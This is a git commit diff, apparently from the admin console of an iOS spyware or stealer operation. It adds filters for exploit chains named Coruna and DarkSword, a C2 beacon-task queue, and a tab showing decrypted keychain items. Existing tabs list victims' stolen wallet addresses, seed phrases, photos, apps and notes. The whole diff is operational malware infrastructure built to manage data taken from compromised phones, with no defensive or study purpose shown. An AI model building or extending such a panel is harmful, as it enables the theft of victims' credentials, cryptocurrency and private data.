This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
@@ -13,6 +13,16 @@
<input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">利用链</label>
<div class="layui-input-block">
<select name="family">
<option value="">全部</option>
<option value="coruna">Coruna</option>
<option value="darksword">DarkSword</option>
</select>
</div>
</div>
@include('admin.partials.filter_channel_select')
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
@@ -109,6 +119,11 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
cols: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
{ field: 'family', title: '利用链', width: 120, templet: function (d) {
var ds = d.family === 'darksword';
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
(ds ? 'DarkSword' : 'Coruna') + '</span>';
} },
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
+120 -1
View File
@@ -16,6 +16,16 @@
<th width="140">渠道 ID</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr>
<tr>
<th>利用链</th>
<td colspan="3">
@if (($device->family ?: \App\Models\Device::FAMILY_CORUNA) === \App\Models\Device::FAMILY_DARKSWORD)
<span class="tag-chain tag-chain-darksword">DarkSword</span>
@else
<span class="tag-chain tag-chain-coruna">Coruna</span>
@endif
</td>
</tr>
<tr>
<th>设备型号</th>
<td>{{ $device->device_model ?: '—' }}</td>
@@ -63,11 +73,66 @@
</tr>
</table>
@if (($beaconTasks ?? collect())->isNotEmpty())
@php
$queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING);
$queueCurrent = $queuePending
?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED);
@endphp
<div class="layui-elem-quote" style="margin:0 0 16px;">
C2 队列
@if ($queuePending)
· 下一条 <code>{{ $queuePending->type }}</code>
@elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED))
· 已下发未回传,下一轮 /beacon 会重试
@else
· 本轮已回传,之后继续轮询钱包/相册/应用
@endif
</div>
<table class="layui-table" style="margin-bottom: 16px;">
<thead>
<tr>
<th width="60">#</th>
<th width="180">任务</th>
<th width="120">状态</th>
<th width="180">下发时间</th>
<th width="180">回传时间</th>
<th>回传</th>
</tr>
</thead>
<tbody>
@foreach ($beaconTasks as $task)
@php
$rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : '';
@endphp
<tr style="{{ $rowStyle }}">
<td>{{ $task->position }}</td>
<td><code>{{ $task->type }}</code> {{ $task->typeLabel() }}</td>
<td>{{ $task->statusLabel() }}</td>
<td>{{ $task->dispatched_at ?: '—' }}</td>
<td>{{ $task->completed_at ?: '—' }}</td>
<td class="wrap">
@if ($task->result_count)
{{ $task->result_count }} 次
@if (!empty($task->result_meta['filename']))
· {{ $task->result_meta['filename'] }}
@endif
@else
—
@endif
</td>
</tr>
@endforeach
</tbody>
</table>
@endif
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
<ul class="layui-tab-title">
@php $tabs = [
'wallets' => '钱包地址',
'mnemonics' => '助记词',
'keystores' => '钥匙串',
'photos' => '相册',
'apps' => '已装 APP',
'notes' => '备忘录',
@@ -192,7 +257,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
form.render('checkbox');
$('#LAY-device-destroy').on('click', function () {
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、C2 队列、DS 阶段日志、访问记录及该设备的 DS 文件日志,且不可恢复。', {
icon: 3,
title: '删除设备'
}, function (index) {
@@ -362,6 +427,20 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
]],
keystores: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'source', title: '来源', width: 140, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
return Number(d.decrypted) === 1 ? '是' : '否';
} },
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
{ field: 'item_count', title: '条目', width: 70 },
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ title: '操作', width: 110, align: 'center', templet: function (d) {
return d.items_url ? '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>' : '—';
} }
]],
apps: [[
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
@@ -391,6 +470,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
var emptyMap = {
wallets: '暂无地址',
mnemonics: '暂无助记词',
keystores: '暂无钥匙串',
apps: '暂无应用',
notes: '暂无备忘录',
events: '暂无日志'
@@ -412,6 +492,45 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
});
if (tab === 'keystores') {
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event !== 'items' || !obj.data.items_url) return;
layer.load(1);
$.getJSON(obj.data.items_url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var items = d.items || [];
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
' · ' + items.length + ' 条</div>';
if (!items.length) {
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
} else {
html += '<table class="layui-table"><thead><tr>' +
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
'</tr></thead><tbody>';
items.forEach(function (it) {
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
'<td>' + dash(it.service) + '</td>' +
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
'<td>' + dash(it.protection_class) + '</td>' +
'<td>' + esc(it.data_len) + '</td>' +
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
});
html += '</tbody></table></div>';
}
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
});
}
if (tab === 'wallets') {
form.render('select');
form.on('submit(LAY-wallet-search)', function (data) {